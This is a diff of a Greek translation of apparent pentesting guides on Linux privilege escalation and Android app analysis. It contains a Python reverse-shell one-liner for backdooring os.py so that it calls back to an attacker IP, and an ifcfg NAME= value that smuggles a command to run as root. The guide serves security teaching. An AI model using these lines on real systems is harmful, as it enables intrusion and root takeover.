Εγγράψιμα αρχεία ### Python library hijacking -Αν γνωρίζετε **από πού** θα εκτελεστεί ένα python script και **μπορείτε να γράψετε μέσα** σε εκείνον τον φάκελο ή μπορείτε να **τροποποιήσετε python libraries**, μπορείτε να τροποποιήσετε τη βιβλιοθήκη OS και backdoor it (αν μπορείτε να γράψετε όπου python script θα εκτελεστεί, αντιγράψτε και επικολλήστε τη βιβλιοθήκη os.py). +Αν ξέρετε από **πού** θα εκτελεστεί ένα python script και **μπορείτε να γράψετε μέσα** σε αυτόν τον φάκελο ή **μπορείτε να τροποποιήσετε python libraries**, μπορείτε να τροποποιήσετε τη βιβλιοθήκη OS και να την backdoor (αν μπορείτε να γράψετε εκεί όπου θα εκτελεστεί το python script, αντιγράψτε και επικολλήστε τη βιβλιοθήκη os.py). -Για να **backdoor the library** απλώς προσθέστε στο τέλος της βιβλιοθήκης os.py την ακόλουθη γραμμή (change IP and PORT): +Για να **backdoor the library** απλώς προσθέστε στο τέλος της βιβλιοθήκης os.py την ακόλουθη γραμμή (αλλάξτε IP και PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Εκμετάλλευση logrotate -Μια ευπάθεια στο `logrotate` επιτρέπει σε χρήστες με **δικαιώματα εγγραφής** πάνω σε ένα αρχείο log ή στους γονικούς καταλόγους του ενδεχομένως να αποκτήσουν αυξημένα προνόμια. Αυτό συμβαίνει επειδή το `logrotate`, που συχνά τρέχει ως **root**, μπορεί να χειραγωγηθεί ώστε να εκτελέσει αυθαίρετα αρχεία, ειδικά σε καταλόγους όπως _**/etc/bash_completion.d/**_. Είναι σημαντικό να ελέγξετε δικαιώματα όχι μόνο στο _/var/log_ αλλά και σε οποιονδήποτε κατάλογο όπου εφαρμόζεται περιστροφή logs. +Μια ευπάθεια στο `logrotate` επιτρέπει σε χρήστες με **write permissions** σε ένα log αρχείο ή στους γονικούς καταλόγους του να αποκτήσουν ενδεχομένως αυξημένα προνόμια. Αυτό συμβαίνει επειδή το `logrotate`, που συχνά τρέχει ως **root**, μπορεί να χειραγωγηθεί ώστε να εκτελέσει αυθαίρετα αρχεία, ειδικά σε καταλόγους όπως _**/etc/bash_completion.d/**_. Είναι σημαντικό να ελέγχετε τα δικαιώματα όχι μόνο στο _/var/log_ αλλά και σε οποιονδήποτε κατάλογο όπου εφαρμόζεται η περιστροφή logs. > [!TIP] -> Αυτή η ευπάθεια επηρεάζει την έκδοση `logrotate` `3.18.0` και παλαιότερες +> Αυτή η ευπάθεια επηρεάζει το `logrotate` στην έκδοση `3.18.0` και παλαιότερες -Περισσότερες λεπτομέρειες για την ευπάθεια μπορείτε να βρείτε σε αυτήν τη σελίδα: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Περισσότερες λεπτομέρειες για την ευπάθεια υπάρχουν σε αυτή τη σελίδα: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Μπορείτε να εκμεταλλευτείτε αυτή την ευπάθεια με [**logrotten**](https://github.com/whotwagner/logrotten). -Αυτή η ευπάθεια είναι πολύ παρόμοια με [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** οπότε κάθε φορά που διαπιστώνετε ότι μπορείτε να τροποποιήσετε logs, ελέγξτε ποιος τα διαχειρίζεται και αν μπορείτε να αποκτήσετε αυξημένα προνόμια αντικαθιστώντας τα logs με symlinks. +Αυτή η ευπάθεια είναι πολύ παρόμοια με [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** οπότε όποτε διαπιστώνετε ότι μπορείτε να τροποποιήσετε logs, ελέγξτε ποιος τα διαχειρίζεται και αν μπορείτε να αυξήσετε προνόμια αντικαθιστώντας τα logs με symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Αναφορά ευπάθειας:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Αν, για οποιονδήποτε λόγο, ένας χρήστης μπορεί να **γράψει** ένα script `ifcf-` στο _/etc/sysconfig/network-scripts_ **ή** να **τροποποιήσει** ένα υπάρχον, τότε το **σύστημά σας είναι pwned**. +Εάν, για οποιονδήποτε λόγο, ένας χρήστης μπορεί να **write** ένα `ifcf-` script στο _/etc/sysconfig/network-scripts_ **ή** να **adjust** ένα υπάρχον, τότε το σύστημά σας είναι **pwned**. -Τα network scripts, για παράδειγμα _ifcg-eth0_, χρησιμοποιούνται για συνδέσεις δικτύου. Μοιάζουν ακριβώς με αρχεία .INI. Ωστόσο, \~sourced\~ στο Linux από το Network Manager (dispatcher.d). +Τα network scripts, π.χ. _ifcg-eth0_, χρησιμοποιούνται για συνδέσεις δικτύου. Μοιάζουν ακριβώς με .INI αρχεία. Ωστόσο, \~sourced\~ στο Linux από τον Network Manager (dispatcher.d). -Στην περίπτωσή μου, το `NAME=` που αποδίδεται σε αυτά τα network scripts δεν χειρίζεται σωστά. Αν έχετε **κενό στο όνομα, το σύστημα προσπαθεί να εκτελέσει το μέρος μετά το κενό**. Αυτό σημαίνει ότι **ό,τι βρίσκεται μετά το πρώτο κενό εκτελείται ως root**. +Στην περίπτωσή μου, η τιμή `NAME=` σε αυτά τα network scripts δεν χειρίζεται σωστά. Αν έχετε **κενό στο όνομα, το σύστημα προσπαθεί να εκτελέσει το μέρος μετά το κενό**. Αυτό σημαίνει ότι **ό,τι βρίσκεται μετά το πρώτο κενό εκτελείται ως root**. Για παράδειγμα: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1413,17 +1416,17 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Σημειώστε το κενό διάστημα μεταξύ Network και /bin/id_) +(_Σημείωση: ο κενός χώρος μεταξύ Network και /bin/id_) -### **init, init.d, systemd, and rc.d** +### **init, init.d, systemd, και rc.d** -Ο κατάλογος `/etc/init.d` φιλοξενεί **scripts** για το System V init (SysVinit), το **κλασικό Linux service management system**. Περιλαμβάνει scripts για `start`, `stop`, `restart` και μερικές φορές `reload` υπηρεσίες. Αυτά μπορούν να εκτελεστούν απευθείας ή μέσω συμβολικών συνδέσμων που βρίσκονται στο `/etc/rc?.d/`. Ένα εναλλακτικό μονοπάτι σε συστήματα Redhat είναι το `/etc/rc.d/init.d`. +Ο κατάλογος `/etc/init.d` φιλοξενεί **scripts** για System V init (SysVinit), το **κλασικό Linux service management system**. Περιλαμβάνει scripts για `start`, `stop`, `restart`, και μερικές φορές `reload` υπηρεσίες. Αυτά μπορούν να εκτελεστούν απευθείας ή μέσω symbolic links που βρίσκονται στο `/etc/rc?.d/`. Εναλλακτική διαδρομή σε Redhat συστήματα είναι `/etc/rc.d/init.d`. -Από την άλλη πλευρά, το `/etc/init` συνδέεται με το Upstart, ένα νεότερο service management που εισήγαγε η Ubuntu, το οποίο χρησιμοποιεί αρχεία ρύθμισης για εργασίες διαχείρισης υπηρεσιών. Παρά τη μετάβαση σε Upstart, τα SysVinit scripts εξακολουθούν να χρησιμοποιούνται παράλληλα με τις Upstart ρυθμίσεις λόγω ενός compatibility layer στον Upstart. +Από την άλλη, το `/etc/init` συνδέεται με **Upstart**, ένα νεότερο σύστημα διαχείρισης υπηρεσιών που εισήχθη από το Ubuntu, χρησιμοποιώντας αρχεία ρυθμίσεων για εργασίες διαχείρισης υπηρεσιών. Παρά τη μετάβαση σε Upstart, τα SysVinit scripts εξακολουθούν να χρησιμοποιούνται παράλληλα με τις Upstart ρυθμίσεις λόγω ενός στρώματος συμβατότητας στο Upstart. -Το **systemd** εμφανίζεται ως ένας σύγχρονος initializer και service manager, προσφέροντας προηγμένα χαρακτηριστικά όπως on-demand daemon starting, automount management, και system state snapshots. Οργανώνει αρχεία σε `/usr/lib/systemd/` για πακέτα διανομής και `/etc/systemd/system/` για τροποποιήσεις διαχειριστή, απλοποιώντας τη διαχείριση του συστήματος. +Το **systemd** εμφανίζεται ως ένας σύγχρονος αρχικοποιητής και διαχειριστής υπηρεσιών, παρέχοντας προηγμένες δυνατότητες όπως εκκίνηση daemons κατά απαίτηση, διαχείριση automount και snapshots κατάστασης συστήματος. Οργανώνει αρχεία σε `/usr/lib/systemd/` για πακέτα διανομής και `/etc/systemd/system/` για τροποποιήσεις από τον διαχειριστή, απλοποιώντας τη διαδικασία διαχείρισης του συστήματος. -## Άλλα κόλπα +## Άλλα Tricks ### NFS Privilege escalation @@ -1448,14 +1451,14 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Τα Android rooting frameworks συνήθως κάνουν hook ένα syscall για να εκθέσουν privileged kernel functionality σε έναν userspace manager. Αδύναμη authentication του manager (π.χ. έλεγχοι υπογραφής βασισμένοι στο FD-order ή κακοσχεδιασμένα password schemes) μπορεί να επιτρέψει σε μια local app να μιμηθεί τον manager και να escalate σε root σε already-rooted συσκευές. Μάθετε περισσότερα και λεπτομέρειες εκμετάλλευσης εδώ: +Τα Android rooting frameworks συχνά κάνουν hook σε ένα syscall για να εκθέσουν προνομιακή λειτουργικότητα του kernel σε έναν userspace manager. Αδύναμη authentication του manager (π.χ. έλεγχοι υπογραφής βασισμένοι στο FD-order ή ανεπαρκή password schemes) μπορεί να επιτρέψει σε μια τοπική εφαρμογή να προσποιηθεί τον manager και να ανυψωθεί σε root σε συσκευές που είναι ήδη rooted. Μάθετε περισσότερα και λεπτομέρειες εκμετάλλευσης εδώ: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Προστασίες ασφάλειας Kernel +## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) @@ -1464,9 +1467,9 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Εργαλεία Linux/Unix Privesc +## Linux/Unix Privesc Tools -### **Καλύτερο εργαλείο για την αναζήτηση Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Καλύτερο εργαλείο για την εύρεση Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 5692ae0d8..09582e617 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## Βασικά εφαρμογών Android +## Android Applications Basics -Συνιστάται θερμά να ξεκινήσετε διαβάζοντας αυτή τη σελίδα για να μάθετε σχετικά με τα **πιο σημαντικά μέρη που σχετίζονται με την ασφάλεια του Android και τα πιο επικίνδυνα συστατικά σε μια εφαρμογή Android**: +Συνιστάται έντονα να ξεκινήσετε διαβάζοντας αυτή τη σελίδα για να γνωρίσετε τα **πιο σημαντικά μέρη που σχετίζονται με την ασφάλεια του Android και τα πιο επικίνδυνα συστατικά σε μια Android εφαρμογή**: {{#ref}} @@ -13,24 +13,24 @@ android-applications-basics.md ## ADB (Android Debug Bridge) -Αυτό είναι το κύριο εργαλείο που χρειάζεστε για να συνδεθείτε με μια συσκευή Android (εξομοιωμένη ή φυσική).\ -**ADB** σας επιτρέπει να ελέγχετε συσκευές είτε μέσω **USB** είτε μέσω **Network** από έναν υπολογιστή. Αυτό το εργαλείο επιτρέπει την **αντιγραφή** αρχείων και στις δύο κατευθύνσεις, την **εγκατάσταση** και **απεγκατάσταση** εφαρμογών, την **εκτέλεση** εντολών shell, τη **δημιουργία αντιγράφων ασφαλείας** δεδομένων, την **ανάγνωση** logs, μεταξύ άλλων λειτουργιών. +Αυτό είναι το κύριο εργαλείο που χρειάζεστε για να συνδεθείτε σε μια android συσκευή (εξομοιωμένη ή φυσική).\ +**ADB** επιτρέπει τον έλεγχο συσκευών είτε μέσω **USB** είτε μέσω **Network** από έναν υπολογιστή. Αυτό το εργαλείο επιτρέπει την **αντιγραφή** αρχείων και προς τις δύο κατευθύνσεις, την **εγκατάσταση** και **απεγκατάσταση** εφαρμογών, την **εκτέλεση** εντολών shell, τη **δημιουργία αντιγράφων ασφαλείας** των δεδομένων, την **ανάγνωση** logs, μεταξύ άλλων λειτουργιών. -Ρίξτε μια ματιά στην ακόλουθη λίστα των [**ADB Commands**](adb-commands.md) για να μάθετε πώς να χρησιμοποιείτε το adb. +Ρίξτε μια ματιά στην παρακάτω λίστα με [**ADB Commands**](adb-commands.md) για να μάθετε πώς να χρησιμοποιείτε το adb. ## Smali -Μερικές φορές είναι ενδιαφέρον να **τροποποιήσετε τον κώδικα της εφαρμογής** για να αποκτήσετε πρόσβαση σε **κρυφές πληροφορίες** (π.χ. καλά obfuscated passwords ή flags). Τότε, μπορεί να είναι χρήσιμο να κάνετε decompile το apk, να τροποποιήσετε τον κώδικα και να το recompile.\ -[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Αυτό μπορεί να είναι πολύ χρήσιμο ως **εναλλακτική λύση για διάφορες δοκιμές κατά τη διάρκεια του dynamic analysis** που πρόκειται να παρουσιαστούν. Έτσι, **κρατήστε πάντα στο μυαλό σας αυτή τη δυνατότητα**. +Μερικές φορές είναι ενδιαφέρον να **τροποποιήσετε τον κώδικα της εφαρμογής** για να αποκτήσετε πρόσβαση σε **κρυφές πληροφορίες** (ίσως καλά συγκεχυμένοι κωδικοί πρόσβασης ή flags). Τότε, μπορεί να είναι χρήσιμο να decompile το apk, να τροποποιήσετε τον κώδικα και να τον recompile.\ +[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Αυτό μπορεί να είναι πολύ χρήσιμο ως **εναλλακτική για διάφορα tests κατά τη διάρκεια της δυναμικής ανάλυσης** που πρόκειται να παρουσιαστούν. Συνεπώς, **κρατήστε πάντα στο μυαλό αυτή τη δυνατότητα**. -## Άλλα ενδιαφέροντα κόλπα +## Other interesting tricks - [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md) - [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md) - [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md) - [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md) - **Λήψη APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) -- Εξαγωγή APK από τη συσκευή: +- Εξαγωγή APK από συσκευή: ```bash adb shell pm list packages com.android.insecurebankv2 @@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk ``` -- Συγχώνευσε όλα τα splits και τα base apks με [APKEditor](https://github.com/REAndroid/APKEditor): +- Συγχώνευσε όλα τα splits και base apks με [APKEditor](https://github.com/REAndroid/APKEditor): ```bash mkdir splits adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits @@ -63,39 +63,38 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ## Στατική Ανάλυση -Πρώτα απ' όλα, για την ανάλυση ενός APK θα πρέπει να **ρίξετε μια ματιά στον Java κώδικα** χρησιμοποιώντας έναν decompiler.\ +Πρώτα απ' όλα, για να αναλύσετε ένα APK θα πρέπει να **ρίξετε μια ματιά στον Java κώδικα** χρησιμοποιώντας έναν decompiler.\ Παρακαλώ, [**διαβάστε εδώ για να βρείτε πληροφορίες σχετικά με διαφορετικούς διαθέσιμους decompilers**](apk-decompilers.md). ### Αναζήτηση ενδιαφερόντων πληροφοριών -Απλώς κοιτώντας τις **strings** του APK μπορείτε να αναζητήσετε **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **API** keys, **encryption**, **bluetooth uuids**, **tokens** και οτιδήποτε ενδιαφέρον... ψάξτε ακόμη για code execution **backdoors** ή authentication backdoors (hardcoded admin credentials στην εφαρμογή). +Απλώς κοιτάζοντας τα **strings** του APK μπορείτε να ψάξετε για **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** και οτιδήποτε ενδιαφέρον... ψάξτε ακόμη και για code execution **backdoors** ή authentication backdoors (hardcoded admin credentials στην εφαρμογή). **Firebase** -Δώστε ιδιαίτερη προσοχή σε **firebase URLs** και ελέγξτε αν είναι κακώς διαμορφωμένα. [Περισσότερες πληροφορίες για το τι είναι το Firebase και πώς να το εκμεταλλευτείτε εδώ.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +Δώστε ειδική προσοχή στις **Firebase URLs** και ελέγξτε αν είναι κακώς διαμορφωμένες. [Περισσότερες πληροφορίες για το τι είναι η Firebase και πώς να την εκμεταλλευτείτε εδώ.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### Βασική κατανόηση της εφαρμογής - Manifest.xml, strings.xml -Η **εξέταση των αρχείων _Manifest.xml_ και **_strings.xml_** μιας εφαρμογής μπορεί να αποκαλύψει πιθανά θέματα ασφάλειας**. Αυτά τα αρχεία μπορούν να προσπελαστούν με decompilers ή αλλάζοντας την επέκταση του APK σε .zip και κάνοντας unzip. +Η εξέταση των αρχείων _Manifest.xml_ και _strings.xml_ μιας εφαρμογής μπορεί να αποκαλύψει πιθανές ευπάθειες ασφαλείας. Αυτά τα αρχεία είναι προσπελάσιμα μέσω decompilers ή μετονομάζοντας την επέκταση του APK σε .zip και στη συνέχεια αποσυμπιέζοντάς το. -**Ευπάθειες** που μπορούν να εντοπιστούν από το **Manifest.xml** περιλαμβάνουν: +**Ευπάθειες** που εντοπίζονται από το **Manifest.xml** περιλαμβάνουν: -- **Debuggable Applications**: Εφαρμογές που έχουν οριστεί ως debuggable (`debuggable="true"`) στο _Manifest.xml_ αποτελούν ρίσκο καθώς επιτρέπουν συνδέσεις που μπορούν να οδηγήσουν σε εκμετάλλευση. Για περαιτέρω κατανόηση σχετικά με το πώς να εκμεταλλευτείτε debuggable εφαρμογές, ανατρέξτε σε ένα tutorial για την ανεύρεση και εκμετάλλευση debuggable εφαρμογών σε μια συσκευή. -- **Backup Settings**: Το `android:allowBackup="false"` πρέπει να ορίζεται ρητά για εφαρμογές που χειρίζονται ευαίσθητες πληροφορίες για να αποτρέπεται μη εξουσιοδοτημένο backup δεδομένων μέσω adb, ειδικά όταν είναι ενεργοποιημένο το usb debugging. -- **Network Security**: Προσαρμοσμένες ρυθμίσεις network security (`android:networkSecurityConfig="@xml/network_security_config"`) στο _res/xml/_ μπορούν να καθορίσουν λεπτομέρειες ασφάλειας όπως certificate pins και ρυθμίσεις HTTP traffic. Ένα παράδειγμα είναι η επιτρεπόμενη HTTP κίνηση για συγκεκριμένα domains. -- **Exported Activities and Services**: Ο εντοπισμός exported activities και services στο manifest μπορεί να υποδείξει components που ενδέχεται να κακοχρησιμοποιηθούν. Περαιτέρω ανάλυση κατά τη διάρκεια δυναμικών δοκιμών μπορεί να αποκαλύψει πώς να εκμεταλλευτείτε αυτά τα components. -- **Content Providers and FileProviders**: Εκτεθειμένοι content providers θα μπορούσαν να επιτρέψουν μη εξουσιοδοτημένη πρόσβαση ή τροποποίηση δεδομένων. Η διαμόρφωση των FileProviders πρέπει επίσης να ελεγχθεί προσεκτικά. -- **Broadcast Receivers and URL Schemes**: Αυτά τα components θα μπορούσαν να αξιοποιηθούν για εκμετάλλευση, δίνοντας ιδιαίτερη προσοχή στο πώς διαχειρίζονται τα URL schemes για τυχόν ευπάθειες εισόδου. -- **SDK Versions**: Τα attributes `minSdkVersion`, `targetSDKVersion` και `maxSdkVersion` υποδεικνύουν τις υποστηριζόμενες εκδόσεις Android, τονίζοντας τη σημασία να μην υποστηρίζονται ξεπερασμένες, ευάλωτες εκδόσεις Android για λόγους ασφαλείας. +- **Debuggable Applications**: Εφαρμογές που έχουν οριστεί ως debuggable (`debuggable="true"`) στο _Manifest.xml_ αποτελούν κίνδυνο καθώς επιτρέπουν συνδέσεις που μπορεί να οδηγήσουν σε εκμετάλλευση. Για περαιτέρω κατανόηση του πώς να εκμεταλλευτείτε debuggable εφαρμογές, ανατρέξτε σε ένα tutorial για τον εντοπισμό και την εκμετάλλευση debuggable εφαρμογών σε μια συσκευή. +- **Backup Settings**: Το attribute `android:allowBackup="false"` θα πρέπει να ορίζεται ρητά για εφαρμογές που χειρίζονται ευαίσθητες πληροφορίες για να αποτραπούν μη εξουσιοδοτημένα backups δεδομένων μέσω adb, ειδικά όταν το usb debugging είναι ενεργοποιημένο. +- **Network Security**: Προσαρμοσμένες ρυθμίσεις network security (`android:networkSecurityConfig="@xml/network_security_config"`) στο _res/xml/_ μπορούν να καθορίσουν λεπτομέρειες ασφαλείας όπως certificate pins και ρυθμίσεις HTTP traffic. Ένα παράδειγμα είναι η επιτρεπτή HTTP κίνηση για συγκεκριμένα domains. +- **Exported Activities and Services**: Ο εντοπισμός exported activities και services στο manifest μπορεί να αναδείξει components που μπορεί να κακοχρησιμοποιηθούν. Περαιτέρω ανάλυση κατά τη διάρκεια dynamic testing μπορεί να αποκαλύψει πώς να εκμεταλλευτείτε αυτά τα components. +- **Content Providers and FileProviders**: Εκτεθειμένοι content providers μπορεί να επιτρέψουν μη εξουσιοδοτημένη πρόσβαση ή τροποποίηση δεδομένων. Η διαμόρφωση των FileProviders πρέπει επίσης να ελεγχθεί προσεκτικά. +- **Broadcast Receivers and URL Schemes**: Αυτά τα components μπορούν να αξιοποιηθούν για εκμετάλλευση, με ιδιαίτερη προσοχή στον τρόπο που τα URL schemes διαχειρίζονται για input vulnerabilities. +- **SDK Versions**: Τα attributes `minSdkVersion`, `targetSDKVersion`, και `maxSdkVersion` υποδεικνύουν τις υποστηριζόμενες εκδόσεις Android, τονίζοντας τη σημασία του να μην υποστηρίζονται παρωχημένες, ευάλωτες εκδόσεις Android για λόγους ασφάλειας. -Από το αρχείο **strings.xml**, μπορούν να ανακαλυφθούν ευαίσθητες πληροφορίες όπως API keys, custom schemas και άλλες σημειώσεις προγραμματιστή, τονίζοντας την ανάγκη προσεκτικής ανασκόπησης αυτών των πόρων. +Από το αρχείο **strings.xml**, μπορούν να ανακαλυφθούν ευαίσθητες πληροφορίες όπως API keys, custom schemas και άλλες developer notes, υπογραμμίζοντας την ανάγκη για προσεκτική ανασκόπηση αυτών των πόρων. ### Tapjacking -Το **Tapjacking** είναι μια επίθεση όπου μια **malicious** **application** εκκινείται και **τοποθετείται πάνω από μια εφαρμογή-θύμα**. Μόλις καλύψει οπτικά την εφαρμογή-θύμα, το UI της έχει σχεδιαστεί έτσι ώστε να ξεγελάει τον χρήστη να αλληλεπιδράσει με αυτό, ενώ ταυτόχρονα προωθεί την αλληλεπίδραση στην εφαρμογή-θύμα.\ -Στην ουσία, **τυφλώνει τον χρήστη ώστε να μην γνωρίζει ότι εκτελεί πραγματικά ενέργειες στην εφαρμογή-θύμα**. +Το Tapjacking είναι μια επίθεση όπου μια κακόβουλη εφαρμογή εκκινείται και τοποθετείται πάνω από μια εφαρμογή-θύμα. Μόλις καλύψει οπτικά την εφαρμογή-θύμα, το user interface της σχεδιάζεται ώστε να ξεγελάσει τον χρήστη να αλληλεπιδράσει με αυτό, ενώ παράλληλα προωθεί την αλληλεπίδραση στην εφαρμογή-θύμα. Στην πράξη, τυφλώνει τον χρήστη ώστε να μην γνωρίζει ότι στην πραγματικότητα εκτελεί ενέργειες στην εφαρμογή-θύμα. -Βρείτε περισσότερες πληροφορίες σε: +Find more information in: {{#ref}} @@ -104,110 +103,110 @@ tapjacking.md ### Task Hijacking -Μια **activity** με το `launchMode` ρυθμισμένο σε **`singleTask` χωρίς να έχει οριστεί `taskAffinity`** είναι ευάλωτη σε Task Hijacking. Αυτό σημαίνει ότι μια **application** μπορεί να εγκατασταθεί και αν εκκινηθεί πριν από την πραγματική εφαρμογή, θα μπορούσε **να hijack-άρει το task της πραγματικής εφαρμογής** (έτσι ο χρήστης θα αλληλεπιδρά με την **malicious application** πιστεύοντας ότι χρησιμοποιεί την πραγματική). +Μια **activity** με το **`launchMode`** ρυθμισμένο σε **`singleTask` χωρίς να ορίζεται `taskAffinity`** είναι ευάλωτη σε Task Hijacking. Αυτό σημαίνει ότι μια **εφαρμογή** μπορεί να εγκατασταθεί και, αν εκκινηθεί πριν από την πραγματική εφαρμογή, να **καταλάβει το task της πραγματικής εφαρμογής** (έτσι ο χρήστης θα αλληλεπιδρά με την **κακόβουλη εφαρμογή πιστεύοντας ότι χρησιμοποιεί την πραγματική**). -Περισσότερες πληροφορίες σε: +More info in: {{#ref}} android-task-hijacking.md {{#endref}} -### Insecure data storage +### Μη ασφαλής αποθήκευση δεδομένων -Internal Storage +**Internal Storage** -Στο Android, τα αρχεία που **αποθηκεύονται** στην **internal storage** έχουν σχεδιαστεί ώστε να είναι προσπελάσιμα αποκλειστικά από την **εφαρμογή** που τα **δημιούργησε**. Αυτό το μέτρο ασφαλείας **επιβάλλεται** από το λειτουργικό σύστημα Android και είναι γενικά επαρκές για τις ανάγκες ασφαλείας των περισσότερων εφαρμογών. Ωστόσο, οι προγραμματιστές μερικές φορές χρησιμοποιούν modes όπως τα `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` για να **επιτρέψουν** την κοινή χρήση αρχείων μεταξύ διαφορετικών εφαρμογών. Αυτά τα modes **δεν περιορίζουν την πρόσβαση** σε αυτά τα αρχεία από άλλες εφαρμογές, συμπεριλαμβανομένων πιθανώς κακόβουλων. +Στο Android, τα αρχεία **αποθηκευμένα** στην **εσωτερική** αποθήκευση έχουν σχεδιαστεί να είναι προσπελάσιμα αποκλειστικά από την **εφαρμογή** που τα **δημιούργησε**. Αυτό το μέτρο ασφαλείας **επιβάλλεται** από το Android λειτουργικό σύστημα και είναι γενικά επαρκές για τις ανάγκες ασφαλείας των περισσότερων εφαρμογών. Ωστόσο, οι προγραμματιστές μερικές φορές χρησιμοποιούν modes όπως `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` για να **επιτρέψουν** να **μοιράζονται** αρχεία μεταξύ διαφορετικών εφαρμογών. Αυτές οι λειτουργίες όμως **δεν περιορίζουν την πρόσβαση** σε αυτά τα αρχεία από άλλες εφαρμογές, συμπεριλαμβανομένων ενδεχόμενα κακόβουλων. 1. **Static Analysis:** -- **Ελέγξτε** προσεκτικά τη χρήση των `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE`. Αυτά τα modes **μπορεί να εκθέσουν** αρχεία σε **μη προοριζόμενη ή μη εξουσιοδοτημένη πρόσβαση**. +- **Ελέγξτε** προσεκτικά τη χρήση των `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE`. Αυτά τα modes **μπορεί να εκθέσουν** αρχεία σε **μη επιδιωκόμενη ή μη εξουσιοδοτημένη πρόσβαση**. 2. **Dynamic Analysis:** -- **Επιβεβαιώστε** τα **permissions** που έχουν οριστεί σε αρχεία που δημιουργούνται από την εφαρμογή. Συγκεκριμένα, **ελέγξτε** αν κάποια αρχεία έχουν οριστεί να είναι readable ή writable worldwide. Αυτό μπορεί να αποτελέσει σημαντικό ρίσκο ασφαλείας, καθώς θα επέτρεπε **οποιαδήποτε εφαρμογή** εγκατεστημένη στη συσκευή, ανεξάρτητα από την προέλευση ή τη πρόθεσή της, να **διαβάσει ή να τροποποιήσει** αυτά τα αρχεία. +- **Επαληθεύστε** τα **permissions** που έχουν οριστεί σε αρχεία που δημιουργεί η εφαρμογή. Συγκεκριμένα, **ελέγξτε** αν κάποια αρχεία έχουν οριστεί ως αναγνώσιμα ή εγγράψιμα από όλο τον κόσμο. Αυτό μπορεί να συνιστά σημαντικό κίνδυνο ασφαλείας, καθώς θα επέτρεπε σε **οποιαδήποτε εφαρμογή** εγκατεστημένη στη συσκευή, ανεξάρτητα από την προέλευση ή τον σκοπό της, να **διαβάσει ή να τροποποιήσει** αυτά τα αρχεία. -External Storage +**External Storage** -Όταν χειρίζεστε αρχεία σε **external storage**, όπως SD Cards, πρέπει να ληφθούν υπόψη τα εξής: +Όταν χειρίζεστε αρχεία στην εξωτερική αποθήκευση, όπως SD Cards, πρέπει να ληφθούν ορισμένες προφυλάξεις: 1. **Accessibility**: -- Τα αρχεία στην external storage είναι **παγκοσμίως αναγνώσιμα και εγγράψιμα**. Αυτό σημαίνει ότι οποιαδήποτε εφαρμογή ή χρήστης μπορεί να έχει πρόσβαση σε αυτά τα αρχεία. +- Τα αρχεία στην εξωτερική 